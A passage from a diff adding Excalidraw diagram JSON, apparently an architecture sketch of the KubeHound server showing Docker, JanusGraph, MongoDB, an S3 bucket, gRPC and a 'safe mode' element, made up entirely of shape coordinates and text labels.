"#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 920974624, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1967, + "versionNonce": 911823136, + "index": "c1vx", + "isDeleted": false, + "id": "SrLwA_wzc46AY583Ez1i9", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1514.3568201260669, + "y": 2489.6783039159905, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 885608736, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1871, + "versionNonce": 2102537504, + "index": "c1vy", + "isDeleted": false, + "id": "NCLAuq3v9PtdVDAOt3ydb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1598.2169679227618, + "y": 2464.0481670665226, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 767700256, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1895, + "versionNonce": 684689696, + "index": "c1vz", + "isDeleted": false, + "id": "sAaMjPr1Z_1tDWQnHs4OL", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1569.888866319824, + "y": 2464.407884630982, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 1262455072, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1919, + "versionNonce": 876700960, + "index": "c1w0", + "isDeleted": false, + "id": "9NFNF-Ts6Vy5WHv-VPYk2", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1541.2010471524154, + "y": 2464.407854441956, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 145843488, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1938, + "versionNonce": 756531488, + "index": "c1w1", + "isDeleted": false, + "id": "FXRzXNosf42AY5DR0piTJ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1542.1453529295468, + "y": 2436.8891362272543, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 1938276640, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 2454, + "versionNonce": 1925356832, + "index": "c1w2", + "isDeleted": false, + "id": "gZvntLRD", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1663.698470706844, + "y": 2655.001060217771, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 255.88197326660156, + "height": 96.93657377967433, + "seed": 1798479136, + "groupIds": [ + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "Docker", + "rawText": "Docker", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Docker", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "text", + "version": 438, + "versionNonce": 1991375136, + "index": "c1w3", + "isDeleted": false, + "id": "UKvEqNFh", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1351.1915643278935, + "y": 2411.6382618882344, + "strokeColor": "#343a40", + "backgroundColor": "#ffec99", + "width": 487.4094870808942, + "height": 290.809721339023, + "seed": 1629616416, + "groupIds": [ + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "janusgraph\nui\nmongodb", + "rawText": "janusgraph\nui\nmongodb", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "janusgraph\nui\nmongodb", + "autoResize": false, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 1444, + "versionNonce": 2085999904, + "index": "c1w4", + "isDeleted": false, + "id": "Xn-deKZTWcc1QPtFs8H4I", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1511.4501373170965, + "y": 1598.3343819329102, + "strokeColor": "#2f9e44", + "backgroundColor": "#b2f2bb", + "width": 1082.790805613117, + "height": 312.5787014325018, + "seed": 415618336, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "9KBfnJUG" + }, + { + "id": "rY5ZilpKXya43Cbo8Qs-J", + "type": "arrow" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1303, + "versionNonce": 1495150880, + "index": "c1w5", + "isDeleted": false, + "id": "9KBfnJUG", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1779.8272295767802, + "y": 1657.6871588694867, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "width": 546.03662109375, + "height": 193.87314755934867, + "seed": 1737371936, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "kubehound\n(khaas-server)", + "rawText": "kubehound\n(khaas-server)", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "Xn-deKZTWcc1QPtFs8H4I", + "originalText": "kubehound\n(khaas-server)", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 1908, + "versionNonce": 880479520, + "index": "c1w6", + "isDeleted": false, + "id": "gwAmkT5cfweMUR1hPZIYc", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dotted", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1534.1894477712358, + "y": 1947.0059714960153, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "width": 1064.9239090092506, + "height": 139.43724787576437, + "seed": 1961561376, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "iWLO0Y2p" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1769, + "versionNonce": 1205627168, + "index": "c1w7", + "isDeleted": false, + "id": "iWLO0Y2p", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1966.2371185234197, + "y": 1968.2563085440602, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "width": 200.8285675048828, + "height": 96.93657377967433, + "seed": 2051828000, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "serve", + "rawText": "serve", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "gwAmkT5cfweMUR1hPZIYc", + "originalText": "serve", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 1274, + "versionNonce": 514999584, + "index": "c1w8", + "isDeleted": false, + "id": "pMH3ot4CrPN7EBRmQPxr-", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 328.11241699354036, + "y": 1560.1013325708072, + "strokeColor": "#f1413f", + "backgroundColor": "#f1413f", + "width": 135.29532586833977, + "height": 32.4727212858778, + "seed": 52577568, + "groupIds": [ + "D-6TSdeUJNNyqb_9XiRkp", + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1917, + "versionNonce": 1449959712, + "index": "c1w9", + "isDeleted": false, + "id": "Mt7-g7LpDrttiXcSgn5ER", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 327.667581435958, + "y": 1588.6240973758695, + "strokeColor": "#f1413f", + "backgroundColor": "#f1413f", + "width": 135.35993699258864, + "height": 104.63702977595338, + "seed": 752656672, + "groupIds": [ + "D-6TSdeUJNNyqb_9XiRkp", + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 22.86274272516463, + 96.03655426721429 + ], + [ + 33.63652405322073, + 101.33403942464216 + ], + [ + 44.40779868483019, + 103.31850744497211 + ], + [ + 57.003112764178525, + 104.30948810691368 + ], + [ + 67.61145212675034, + 104.63702977595338 + ], + [ + 77.39341722738268, + 104.47075224498684 + ], + [ + 88.98605272803817, + 103.63769345918942 + ], + [ + 103.07118006222775, + 101.14269492920836 + ], + [ + 112.68018310803579, + 96.64985933118146 + ], + [ + 135.35993699258864, + 0.13118378071231973 + ], + [ + 131.51884247071237, + 4.26305509040963 + ], + [ + 125.86540641784858, + 6.575900345261509 + ], + [ + 117.55570769693028, + 8.726645896557855 + ], + [ + 105.59375225312297, + 11.0419978478565 + ], + [ + 94.96118149156604, + 12.86185946818432 + ], + [ + 84.65865909549562, + 13.52195619915721 + ], + [ + 73.52474904459221, + 14.183724061094583 + ], + [ + 62.39000342820669, + 13.850333433679118 + ], + [ + 50.9243738808523, + 14.015775399163484 + ], + [ + 39.29413793349589, + 13.01811021336396 + ], + [ + 26.66957906226901, + 11.189057372731483 + ], + [ + 14.03833566718408, + 8.196061815332914 + ], + [ + 5.724459118854745, + 5.03678872696778 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 1228, + "versionNonce": 1585151264, + "index": "c1wA", + "isDeleted": false, + "id": "lXSvBEqfg3dwi44feWN-k", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 380.04333255946744, + "y": 1612.655796210694, + "strokeColor": "#f1413f", + "backgroundColor": "#ffffff", + "width": 28.344887854168476, + "height": 27.35557832319141, + "seed": 1726709024, + "groupIds": [ + "D-6TSdeUJNNyqb_9XiRkp", + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1248, + "versionNonce": 944691488, + "index": "c1wB", + "isDeleted": false, + "id": "-I6ab5pNeMc_0TE29WrjZ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 357.2173547155228, + "y": 1650.2236558578725, + "strokeColor": "#f1413f", + "backgroundColor": "#ffffff", + "width": 28.013168357717486, + "height": 28.013168357717486, + "seed": 851368224, + "groupIds": [ + "D-6TSdeUJNNyqb_9XiRkp", + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1334, + "versionNonce": 928429344, + "index": "c1wC", + "isDeleted": false, + "id": "ArjOdfKtmkw6a4RgXlomM", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 416.3728841619634, + "y": 1651.4569505096656, + "strokeColor": "#f1413f", + "backgroundColor": "#ffffff", + "width": 28.520356605439787, + "height": 26.02201581352974, + "seed": 1673966880, + "groupIds": [ + "D-6TSdeUJNNyqb_9XiRkp", + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -14.128576739266414, + 26.02201581352974 + ], + [ + 14.391779866173371, + 25.690296317078804 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "arrow", + "version": 787, + "versionNonce": 274794720, + "index": "c1wD", + "isDeleted": false, + "id": "qr_bmmffqKQVqPeNWBsDr", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -145.36728795178874, + "y": 1792.1798099868843, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 480.3954145684652, + "height": 163.96325444863112, + "seed": 1601376544, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441411255, + "link": null, + "locked": false, + "startBinding": { + "elementId": "p7NavnGXPKPqHd2es9YWc", + "focus": -0.00781810882346524, + "gap": 18.8465099441443 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 2.7712586320730885, + -152.34466175150925 + ], + [ + 480.3954145684652, + -163.96325444863112 + ] + ] + }, + { + "type": "text", + "version": 298, + "versionNonce": 214166816, + "index": "c1wE", + "isDeleted": false, + "id": "A6W6aqVD", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 483.1532792091814, + "y": 1586.6705632094063, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 385.0635986328125, + "height": 96.93657377967433, + "seed": 1563684128, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "S3 bucket", + "rawText": "S3 bucket", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "S3 bucket", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 1893, + "versionNonce": 580669664, + "index": "c1wF", + "isDeleted": false, + "id": "rY5ZilpKXya43Cbo8Qs-J", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -780.5591453355463, + "y": 2083.174932278621, + "strokeColor": "#2f9e44", + "backgroundColor": "#ffec99", + "width": 1999.3374523123007, + "height": 623.4160665528368, + "seed": 645482784, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441411255, + "link": null, + "locked": false, + "startBinding": { + "elementId": "kASNbHiQ4CQU0ABJXdNHd", + "focus": 0.934929515344804, + "gap": 30.469284659958248 + }, + "endBinding": { + "elementId": "e0v8HTbxe6j0gYa87SgxX", + "focus": 0.32773504331246395, + "gap": 15.765209324050659 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 313.30916106101046, + -462.6842647121219 + ], + [ + 1225.9400939832858, + -623.4160665528368 + ], + [ + 1999.3374523123007, + -415.78910014919575 + ] + ] + }, + { + "type": "rectangle", + "version": 1278, + "versionNonce": 1648567584, + "index": "c1wG", + "isDeleted": false, + "id": "OKPIojqk57WIipqQSunS1", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -365.3550986964501, + "y": 1524.3742677004748, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 367.5688098797453, + "height": 135.71120329154405, + "seed": 1454581024, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "x5t3YwMp" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1105, + "versionNonce": 887193888, + "index": "c1wH", + "isDeleted": false, + "id": "x5t3YwMp", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -308.58118417405797, + "y": 1543.7615824564095, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 254.02098083496094, + "height": 96.93657377967433, + "seed": 458326304, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "remote", + "rawText": "remote", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "OKPIojqk57WIipqQSunS1", + "originalText": "remote", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 967, + "versionNonce": 1532255520, + "index": "c1wI", + "isDeleted": false, + "id": "e0v8HTbxe6j0gYa87SgxX", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1186.6829798794247, + "y": 1646.1705989696075, + "strokeColor": "#2f9e44", + "backgroundColor": "#b2f2bb", + "width": 354.45234472361665, + "height": 189.9956846081617, + "seed": 1942248736, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "ZhNfzsUF" + }, + { + "id": "rY5ZilpKXya43Cbo8Qs-J", + "type": "arrow" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 992, + "versionNonce": 1728821536, + "index": "c1wJ", + "isDeleted": false, + "id": "ZhNfzsUF", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1289.4203110820445, + "y": 1692.5265358925453, + "strokeColor": "#2f9e44", + "backgroundColor": "#ffc9c9", + "width": 149.34202575683594, + "height": 96.93657377967433, + "seed": 1903933728, + "groupIds": [ + "GKyrThTJ65wsNjIcUyLdp" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "grpc", + "rawText": "grpc", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "e0v8HTbxe6j0gYa87SgxX", + "originalText": "grpc", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "diamond", + "version": 2719, + "versionNonce": 120058144, + "index": "c1wK", + "isDeleted": false, + "id": "eiMqL3JO8J36qWz7svLWJ", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2292.501027026892, + "y": 209.958982682238, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 448.63983130279274, + "height": 387.74629511869733, + "seed": 2011665696, + "groupIds": [ + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "o1bEU5aY" + } + ], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 2691, + "versionNonce": 2068630816, + "index": "c1wL", + "isDeleted": false, + "id": "o1bEU5aY", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2139.7685975825416, + "y": 326.34629743817277, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "width": 142.8550567626953, + "height": 155.09851804747893, + "seed": 2088235296, + "groupIds": [ + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "fontSize": 62.03940721899157, + "fontFamily": 1, + "text": "safe\nmode", + "rawText": "safe mode", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "eiMqL3JO8J36qWz7svLWJ", + "originalText": "safe mode", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 1351, + "versionNonce": 1316366624, + "index": "c1wM", + "isDeleted": false, + "id": "Q7TA3vBH1xoSz-ALO4dJE", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2511.4036571612014, + "y": 308.168831802187, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 171.9743433421433, + "height": 167.2752738064243, + "seed": 1184681248, + "groupIds": [ + "0BEsqWiKEAFEtDpe0hnKE", + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + -4.433737419031227, + 1.1744286608188754 + ], + [ + -64.47505593898816, + 29.813250556302695 + ], + [ + -64.47505593898816, + 29.813250556302695 + ], + [ + -68.45558756559029, + 32.96144621307695 + ], + [ + -70.67043586758683, + 37.52784464304563 + ], + [ + -85.36695668555467, + 101.80356869182405 + ], + [ + -85.36695668555467, + 101.80356869182405 + ], + [ + -85.47806950602346, + 106.34774649237096 + ], + [ + -83.75077041216937, + 110.56868991616552 + ], + [ + -83.1042958787324, + 111.47375028124603 + ], + [ + -41.62218281963498, + 163.05164849394612 + ], + [ + -41.62218281963498, + 163.05164849394612 + ], + [ + -37.62413928196131, + 166.1796349378109 + ], + [ + -32.668507352568625, + 167.2752738064243 + ], + [ + 33.86449612496723, + 167.27527380642394 + ], + [ + 33.86449612496723, + 167.27527380642394 + ], + [ + 38.83156975186793, + 166.13721793977436 + ], + [ + 42.828940248511586, + 163.00315871348667 + ], + [ + 84.28950074205264, + 111.41449184430863 + ], + [ + 84.28950074205264, + 111.41449184430863 + ], + [ + 86.49627383611984, + 106.85819930522392 + ], + [ + 86.4444137127938, + 101.7928000353461 + ], + [ + 71.65093077405187, + 37.46319674015171 + ], + [ + 71.65093077405187, + 37.46319674015171 + ], + [ + 69.4320326660111, + 32.89679831018317 + ], + [ + 65.45554185444712, + 29.74860265340856 + ], + [ + 5.511199042119662, + 1.1798158790241704 + ], + [ + 5.511199042119662, + 1.1798158790241704 + ], + [ + -0.05386897098017283, + 2.0816681711721685e-17 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1874, + "versionNonce": 739509536, + "index": "c1wN", + "isDeleted": false, + "id": "ooBXCfvb7PHPlgXTgaHZ-", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2511.4055999446855, + "y": 329.4668087306445, + "strokeColor": "#326ce5", + "backgroundColor": "#fff", + "width": 125.92616165040661, + "height": 123.56077693286784, + "seed": 801515808, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + -2.580516374368015, + 1.2720732350825188 + ], + [ + -3.5286770539505263, + 3.9865941335889534 + ], + [ + -3.5286770539505263, + 4.999402716065523 + ], + [ + -3.5286770539505263, + 4.999402716065523 + ], + [ + -3.033046556908293, + 8.409557758424159 + ], + [ + -2.677485659850101, + 14.928175917063426 + ], + [ + -3.8519165684207066, + 16.78678899654242 + ], + [ + -3.9327225937498547, + 18.306004439116162 + ], + [ + -3.9327225937498547, + 18.306004439116162 + ], + [ + -10.413629903844, + 19.308041796255587 + ], + [ + -16.977958337620198, + 21.311186583615275 + ], + [ + -23.141770843715722, + 24.246164383435456 + ], + [ + -28.805580654933582, + 28.05893154233121 + ], + [ + -33.8698804532057, + 32.69544954463542 + ], + [ + -35.16282823565044, + 31.779610247640967 + ], + [ + -35.16282823565044, + 31.779610247640967 + ], + [ + -37.29080928976037, + 31.56411895056687 + ], + [ + -42.12320792035175, + 27.200413762668745 + ], + [ + -44.47745149687296, + 24.695329360826303 + ], + [ + -45.27476878227542, + 24.059629263800005 + ], + [ + -45.27476878227542, + 24.059629263800005 + ], + [ + -47.7690819587807, + 23.11685291245656 + ], + [ + -50.62973239539911, + 24.388253106509158 + ], + [ + -51.28294183463816, + 27.21792310488149 + ], + [ + -49.74621704985168, + 29.68395571383691 + ], + [ + -49.00277130428831, + 30.276555496361283 + ], + [ + -49.00277130428831, + 30.276555496361283 + ], + [ + -46.028988322034834, + 32.01664913310718 + ], + [ + -40.65247455166018, + 35.78775453848092 + ], + [ + -39.93596842930468, + 37.856472017936014 + ], + [ + -38.76153752073419, + 38.933928503306525 + ], + [ + -38.76153752073419, + 38.933928503306525 + ], + [ + -42.80848699400741, + 46.41156847692676 + ], + [ + -45.4074297932129, + 54.435173168733016 + ], + [ + -46.512414170477804, + 62.79717364247646 + ], + [ + -46.07747553363479, + 71.28997527331902 + ], + [ + -47.58591461315361, + 71.72095786746713 + ], + [ + -47.58591461315361, + 71.72095786746713 + ], + [ + -49.126680212978314, + 73.27249726148791 + ], + [ + -55.5591003114726, + 74.33379562442333 + ], + [ + -59.00696620237625, + 74.60315589247766 + ], + [ + -59.96051377905683, + 74.81865232726965 + ], + [ + -60.068259427593865, + 74.81865232726965 + ], + [ + -60.068259427593865, + 74.81865232726965 + ], + [ + -61.83686996690776, + 75.57654790410443 + ], + [ + -62.916399521404756, + 77.03595774279698 + ], + [ + -62.42022185741838, + 80.61118251988351 + ], + [ + -62.15314016720191, + 80.91706168595665 + ], + [ + -60.436767373471326, + 81.88416513101403 + ], + [ + -58.46823539083206, + 81.80595879088432 + ], + [ + -58.39820059084002, + 81.80595879088432 + ], + [ + -57.42848975400649, + 81.69822084892392 + ], + [ + -57.42848975400649, + 81.69822084892392 + ], + [ + -54.20689152323191, + 80.52378994035347 + ], + [ + -47.9468624073098, + 78.69211134636457 + ], + [ + -45.88891872205076, + 79.41939640063386 + ], + [ + -44.27273399399489, + 79.15002585714396 + ], + [ + -44.27273399399489, + 79.15002585714396 + ], + [ + -40.94490317257101, + 86.961257846572 + ], + [ + -36.30089437773569, + 93.98662452354094 + ], + [ + -30.47100783910389, + 100.06246902571468 + ], + [ + -23.58555149286746, + 105.02517559249776 + ], + [ + -24.242799178285843, + 106.39892940027154 + ], + [ + -24.242799178285843, + 106.39892940027154 + ], + [ + -23.91955966381583, + 108.4245465652247 + ], + [ + -27.168097517798234, + 114.30746976455545 + ], + [ + -29.09674539726929, + 117.17888885765213 + ], + [ + -29.554665045766477, + 118.14860226334457 + ], + [ + -29.554665045766477, + 118.14860226334457 + ], + [ + -30.041864547922856, + 120.01006934505338 + ], + [ + -29.552291420149608, + 121.75808534262443 + ], + [ + -28.28154371625571, + 123.05441374337191 + ], + [ + -26.42520407689684, + 123.56077693286784 + ], + [ + -26.052925046164916, + 123.54128443159 + ], + [ + -24.234285979915388, + 122.79885338528942 + ], + [ + -23.073757735672253, + 121.21397020284107 + ], + [ + -22.626611881371108, + 